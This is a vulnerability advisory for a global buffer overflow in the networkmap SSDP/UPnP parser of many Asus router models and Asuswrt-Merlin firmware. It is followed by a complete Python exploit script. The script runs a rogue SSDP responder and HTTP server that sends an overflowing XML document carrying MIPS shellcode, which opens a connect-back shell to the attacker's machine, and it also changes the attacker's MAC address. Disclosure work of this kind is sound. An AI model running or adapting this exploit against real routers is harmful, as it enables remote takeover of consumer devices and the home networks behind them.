## [Vulnerability]: ##
Global buffer overflow in networkmap
------------------------------------------
## [Exploitation]: ##
Can write data at any address in heap
------------------------------------------
## [Vendor of Product]: ##
Asus wireless router
------------------------------------------
## [Affected Products and firmware version]: ##
Asuswrt-Merlin ,all the firmware and the latest firmware is 380.66_6
RT-AC5300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1900P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC68P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC88U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC66U_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC58U ,all the firmware,and the latest firmware is 3.0.0.4.380.7485
RT-AC56U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC55U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-AC52U ,all the firmware,and the latest firmware is 3.0.0.4.380.4180
RT-AC51U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N18U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-N66U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N56U ,all the firmware,and the latest firmware is 3.0.0.4.378.7177
RT-AC3200 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT-AC3100 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743
RT_AC1200GU ,all the firmware,and the latest firmware is 3.0.0.4.380.5577
RT_AC1200G ,all the firmware,and the latest firmware is 3.0.0.4.380.3167
RT-AC1200 ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-AC53 ,all the firmware,and the latest firmware is 3.0.0.4.380.9883
RT-N12HP ,all the firmware,and the latest firmware is 3.0.0.4.380.2943
RT-N12HP_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.3479
RT-N12D1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N12+ ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT_N12+_PRO ,all the firmware,and the latest firmware is 3.0.0.4.380.9880
RT-N16 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
RT-N300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378
------------------------------------------
## [Attack Type]: ##
Remote
------------------------------------------
## [Can Cause Denial of Service?]: ##
yes
------------------------------------------
## [Reference]: ##
https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/function.c#L903-L1032
http://asuswrt.lostrealm.ca/
https://www.asus.com/Networking/RTN12HP_B1/HelpDesk_Download/
(chose the others can download the firmware sourcecode)
https://www.asus.com/Networking/Wireless-Routers-Products/
------------------------------------------
## [Discoverer]: ##
Tianfeng Guan, pkav of Sichuan Silent Information Technology Company Ltd, http://www.silence.com.cn/
------------------------------------------
## [Affected components]: ##
Affected executable application: networkmap
Affected source code file: \release\src\router\networkmap\function.c
Affected function: store_description(char *msg)
------------------------------------------
## [Vulnerability description]: ##
When the function process_device_repsonse of networkmap is parsing the
SSDP answer from a device and the SSDP answer has indicated the location like:
HTTP/1.1 200 OK
Location:HTTP://host:port/path
If the "HTTP://host:port/path" is valid, the networkmap will get the
device descirption xml by accessing "HTTP://host:port/path",and it will use
the function store_description to store the device descirption information
to global sturct device_info.
In the function store_description,there's no limit to the variable s_num,
so that it can cause the global sturct device_info overflow when copy the
data from tmp to description.service[s_num].url .
------------------------------------------
## [Vulnerability details]: ##
In the \release\src\router\networkmap\function.c,
It define the global struct device_info description and the function store_description:
...
struct device_info description;
...
void store_description(char *msg)
{
...
int s_num = 0;
...
while( p!= NULL && p < body)
{
...
switch(type)
{
...
case 7:
strlcpy(description.service[s_num].url, tmp, sizeof(description.service[s_num].url));
NMP_DEBUG_F("service %d url = %s\n", s_num, tmp);
s_num++;
break;
}
}
...
}
You can see that the s_num variable is incremented in case 7,
But in the while( p!= NULL && p < body),it never check the s_num variable.
And in the \release\src\router\networkmap\networkmap.h,it define the struct device_info:
...
#define LINE_SIZE 200
#define SERVICE_NUM 10
struct service
{
char name[LINE_SIZE];
char url[LINE_SIZE];
};
struct device_info
{
char friendlyname[LINE_SIZE];
char manufacturer[LINE_SIZE];
char description[LINE_SIZE];
char modelname[LINE_SIZE];
char modelnumber[LINE_SIZE];
char presentation[LINE_SIZE];
struct service service[SERVICE_NUM];
int service_num;
};
Because SERVICE_NUM = 10,so,in the case 7 which in the function store_description,
when the s_num variable has be incremented and the s_num > 10,
the data copy to struct device_info description.service[s_num].url will overflow.
------------------------------------------
## [Exploitation details]: ##
When the networkmap get the device descirption xml by accessing "HTTP://host:port/path",
we can respond a device descirption xml like:
<?xml><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL>shellcode<></root>
the shellcode will be written to the memory that out of the global struct device_info description.
And then,because the memory maps for networkmap is:
admin@RT-N12HP_B1:/# cat /proc/$(pidof networkmap)/maps
00400000-0040a000 r-xp 00000000 1f:02 104 /usr/sbin/networkmap
0041a000-0041b000 rw-p 0000a000 1f:02 104 /usr/sbin/networkmap
0041b000-00420000 rwxp 0041b000 00:00 0 [heap]
2aaa8000-2aaae000 r-xp 00000000 1f:02 733 /lib/ld-uClibc.so.0
2aaae000-2aaaf000 rw-p 2aaae000 00:00 0
2aab0000-2aab6000 rw-s 00000000 00:07 0 /SYSV000003e9 (deleted)
2aab6000-2aaba000 rw-s 00000000 00:07 32769 /SYSV000003ea (deleted)
2aabd000-2aabe000 r--p 00005000 1f:02 733 /lib/ld-uClibc.so.0
2aabe000-2aabf000 rw-p 00006000 1f:02 733 /lib/ld-uClibc.so.0
2aabf000-2aaeb000 r-xp 00000000 1f:02 164 /usr/lib/libshared.so
2aaeb000-2aafa000 ---p 2aaeb000 00:00 0
2aafa000-2aafe000 rw-p 0002b000 1f:02 164 /usr/lib/libshared.so
2aafe000-2ab0f000 rw-p 2aafe000 00:00 0
2ab0f000-2ab11000 r-xp 00000000 1f:02 235 /usr/lib/libnvram.so
2ab11000-2ab21000 ---p 2ab11000 00:00 0
2ab21000-2ab22000 rw-p 00002000 1f:02 235 /usr/lib/libnvram.so
2ab22000-2ab30000 r-xp 00000000 1f:02 732 /lib/libgcc_s.so.1
2ab30000-2ab40000 ---p 2ab30000 00:00 0
2ab40000-2ab41000 rw-p 0000e000 1f:02 732 /lib/libgcc_s.so.1
2ab41000-2ab79000 r-xp 00000000 1f:02 728 /lib/libc.so.0
2ab79000-2ab89000 ---p 2ab79000 00:00 0
2ab89000-2ab8a000 rw-p 00038000 1f:02 728 /lib/libc.so.0
2ab8a000-2ab8e000 rw-p 2ab8a000 00:00 0
2ab8e000-2ab96000 r--s 00000000 00:0b 297 /dev/nvram
7fc20000-7fc35000 rwxp 7fc20000 00:00 0 [stack]
7fff7000-7fff8000 r-xp 7fff7000 00:00 0 [vdso]
Both the Program address and the Heap address are not randomized and Continuous.
So when the global struct device_info overflow ,the shellcode could be write to
the heap ,and the shellcode address in the heap is fixed and Controllable.
------------------------------------------
## [exp.py]: ##
# Tested product and firmware version:
# RT-N12HP_B1 (3.0.0.4.380.3479)
# coding=utf-8
ROUTER_IP = '192.168.2.1' #asus wireless router ip
IP = '192.168.2.31' #attacker ip
INTERACE = 'eth0' #attacker host network interface
CONNECTBACK_IP = '192.168.2.31' #the host ip use for connectback shell shellcode
#the default connectback port is 30583
import time
import socket
import sys
import os
import threading
import socketserver
sc = '<?xml><SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += '<>'
sc += '<SCPDURL>'
sc += b'\xff\xff\x04\x28'
sc += b'\xbb\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xfa\xff\x0f\x24'
sc += b'\x27\x78\xe0\x01'
sc += b'\xfd\xff\xe4\x21'
sc += b'\xfd\xff\xe5\x21'
sc += b'\xff\xff\x06\x28'
sc += b'\x57\x10\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xff\xff\xa2\xaf'
sc += b'\xff\xff\xa4\x8f'
sc += b'\xfd\xff\x11\x24'
sc += b'\x27\x88\x20\x02'
sc += b'\xe2\xff\xb1\xa7'
sc += b'\x77\x77\x0e\x24'
sc += b'\xe4\xff\xae\xa7'
sc += socket.inet_aton(CONNECTBACK_IP)[0] + socket.inet_aton(CONNECTBACK_IP)[1] + b'\x0e\x34'
sc += b'\xe6\xff\xae\xa7'
sc += socket.inet_aton(CONNECTBACK_IP)[2] + socket.inet_aton(CONNECTBACK_IP)[3] + b'\x0e\x24'
sc += b'\xe8\xff\xae\xa7'
sc += b'\xe2\xff\xa5\x27'
sc += b'\xef\xff\x0c\x24'
sc += b'\x27\x30\x80\x01'
sc += b'\x4a\x10\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\x21\x28\x20\x02'
sc += b'\xdf\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += b'\xff\xff\x10\x24'
sc += b'\xff\xff\x31\x22'
sc += b'\xfa\xff\x30\x16'
sc += b'\xff\xff\x06\x28'
sc += b'\x2f\x2f\x0f\x24'
sc += b'\xec\xff\xaf\xa7'
sc += b'\x62\x69\x0f\x24'
sc += b'\xee\xff\xaf\xa7'
sc += b'\x6e\x2f\x0e\x24'
sc += b'\xf0\xff\xae\xa7'
sc += b'\x73\x68\x0e\x24'
sc += b'\xf2\xff\xae\xa7'
sc += b'\xf4\xff\xa0\xaf'
sc += b'\xec\xff\xa4\x27'
sc += b'\xf8\xff\xa4\xaf'
sc += b'\xfc\xff\xa0\xaf'
sc += b'\xf8\xff\xa5\x27'
sc += b'\xab\x0f\x02\x24'
sc += b'\x0c\x01\x01\x01'
sc += '<></root>'
def mac():
os.system('macchanger -A {}'.format(INTERACE))
os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {};'.format(INTERACE, INTERACE, IP, ROUTER_IP))
class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler):
def handle(self):
print('[-] got shellcode request')
self.request.recv(1024)
print("[-] sending shellcode")
self.request.send(sc)
class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
socketserver.TCPServer.allow_reuse_address = True
server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler)
t = threading.Thread(target=server.serve_forever)
t.start()
print("[-] Please opens a new terminal and use ping ROUTER_IP to Speed up SSDP network interaction")
addrinfo = socket.getaddrinfo('239.255.255.250', None)[0]
s = socket.socket(addrinfo[0], socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('239.255.255.250', 1900))
s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(addrinfo[4][0]) + socket.inet_aton('0.0.0.0'))
mac()
times = 0
state = 'Overflow'
while True:
data, sender = s.recvfrom(1500)
if sender[0] == ROUTER_IP and sender[1] == 1008:
print("[-] received SSDP M-SEARCH Package")
data = {}
data['Overflow'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode() + b':1337/A\r\n\r\n'
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto(data[state], sender)
if state == 'Overflow':
print("[-] Send the GetXmlRequest to router")
time.sleep(20)
os._exit(0)
暂无评论